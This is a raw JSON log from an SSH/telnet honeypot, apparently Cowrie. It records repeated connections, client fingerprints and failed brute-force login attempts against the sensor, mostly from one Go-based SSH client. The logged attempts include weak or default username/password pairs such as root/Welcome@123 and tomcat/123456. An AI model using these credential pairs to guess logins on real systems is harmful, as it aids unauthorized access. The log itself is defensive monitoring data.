{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:54.592024Z","src_ip":"176.65.132.129","session":"29a7fffe9b13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"123456","message":"login attempt [tomcat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:54.839447Z","src_ip":"176.65.132.129","session":"29a7fffe9b13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38618,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2da5a5e483b","protocol":"telnet","message":"New connection: 152.42.224.71:38618 (10.17.0.5:23) [session: d2da5a5e483b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:55.737695Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:55.924656Z","src_ip":"176.65.132.129","session":"29a7fffe9b13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34500,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee3bccd8fbbc","protocol":"ssh","message":"New connection: 176.65.132.129:34500 (159.203.135.109:22) [session: ee3bccd8fbbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:57.841141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:57.846296Z","src_ip":"176.65.132.129","session":"ee3bccd8fbbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:57.928871Z","src_ip":"176.65.132.129","session":"ee3bccd8fbbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:58.176870Z","src_ip":"176.65.132.129","session":"ee3bccd8fbbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:59.264488Z","src_ip":"176.65.132.129","session":"ee3bccd8fbbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.62675070762634,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:00.187733Z","src_ip":"152.42.224.71","session":"357ce582e98d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34504,"dst_ip":"159.203.135.109","dst_port":22,"session":"16ae1ebede03","protocol":"ssh","message":"New connection: 176.65.132.129:34504 (159.203.135.109:22) [session: 16ae1ebede03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:01.066041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:01.071455Z","src_ip":"176.65.132.129","session":"16ae1ebede03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.03779172897339,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:01.093014Z","src_ip":"152.42.224.71","session":"6c6116216f0a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:01.157953Z","src_ip":"176.65.132.129","session":"16ae1ebede03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:01.405343Z","src_ip":"176.65.132.129","session":"16ae1ebede03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:02.580467Z","src_ip":"176.65.132.129","session":"16ae1ebede03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34506,"dst_ip":"159.203.135.109","dst_port":22,"session":"555f29e4df22","protocol":"ssh","message":"New connection: 176.65.132.129:34506 (159.203.135.109:22) [session: 555f29e4df22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:04.219354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:04.224670Z","src_ip":"176.65.132.129","session":"555f29e4df22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:04.307683Z","src_ip":"176.65.132.129","session":"555f29e4df22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:04.555682Z","src_ip":"176.65.132.129","session":"555f29e4df22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:05.641728Z","src_ip":"176.65.132.129","session":"555f29e4df22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35444,"dst_ip":"10.17.0.5","dst_port":23,"session":"39fbffa1e073","protocol":"telnet","message":"New connection: 152.42.224.71:35444 (10.17.0.5:23) [session: 39fbffa1e073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:06.638496Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35540,"dst_ip":"159.203.135.109","dst_port":22,"session":"174003ba6d72","protocol":"ssh","message":"New connection: 176.65.132.129:35540 (159.203.135.109:22) [session: 174003ba6d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:07.416476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:07.425201Z","src_ip":"176.65.132.129","session":"174003ba6d72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:07.507601Z","src_ip":"176.65.132.129","session":"174003ba6d72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prakash","password":"prakash123","message":"login attempt [prakash/prakash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:07.852284Z","src_ip":"176.65.132.129","session":"174003ba6d72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:08.940283Z","src_ip":"176.65.132.129","session":"174003ba6d72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35552,"dst_ip":"159.203.135.109","dst_port":22,"session":"616766e8d19a","protocol":"ssh","message":"New connection: 176.65.132.129:35552 (159.203.135.109:22) [session: 616766e8d19a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:10.814465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:10.820553Z","src_ip":"176.65.132.129","session":"616766e8d19a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:10.905247Z","src_ip":"176.65.132.129","session":"616766e8d19a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:11.152048Z","src_ip":"176.65.132.129","session":"616766e8d19a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.55966305732727,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:11.599463Z","src_ip":"152.42.224.71","session":"b260ef4874aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00164318084717,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:11.708357Z","src_ip":"186.50.125.54","session":"438ec25ffecf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:12.236654Z","src_ip":"176.65.132.129","session":"616766e8d19a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00161957740784,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:12.993440Z","src_ip":"186.50.125.54","session":"bf5ca8b39d92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35460,"dst_ip":"10.17.0.5","dst_port":23,"session":"4af59210da5e","protocol":"telnet","message":"New connection: 152.42.224.71:35460 (10.17.0.5:23) [session: 4af59210da5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:13.124524Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35558,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab6915d6af3c","protocol":"ssh","message":"New connection: 176.65.132.129:35558 (159.203.135.109:22) [session: ab6915d6af3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:13.994532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:13.999424Z","src_ip":"176.65.132.129","session":"ab6915d6af3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:14.083586Z","src_ip":"176.65.132.129","session":"ab6915d6af3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00193405151367,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:14.184968Z","src_ip":"186.50.125.54","session":"bf3392915ff5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:14.328817Z","src_ip":"176.65.132.129","session":"ab6915d6af3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:15.513613Z","src_ip":"176.65.132.129","session":"ab6915d6af3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47956,"dst_ip":"159.203.135.109","dst_port":22,"session":"063325e345cb","protocol":"ssh","message":"New connection: 176.65.132.129:47956 (159.203.135.109:22) [session: 063325e345cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:17.184417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:17.188997Z","src_ip":"176.65.132.129","session":"063325e345cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:17.274266Z","src_ip":"176.65.132.129","session":"063325e345cb","protocol":"ssh"}
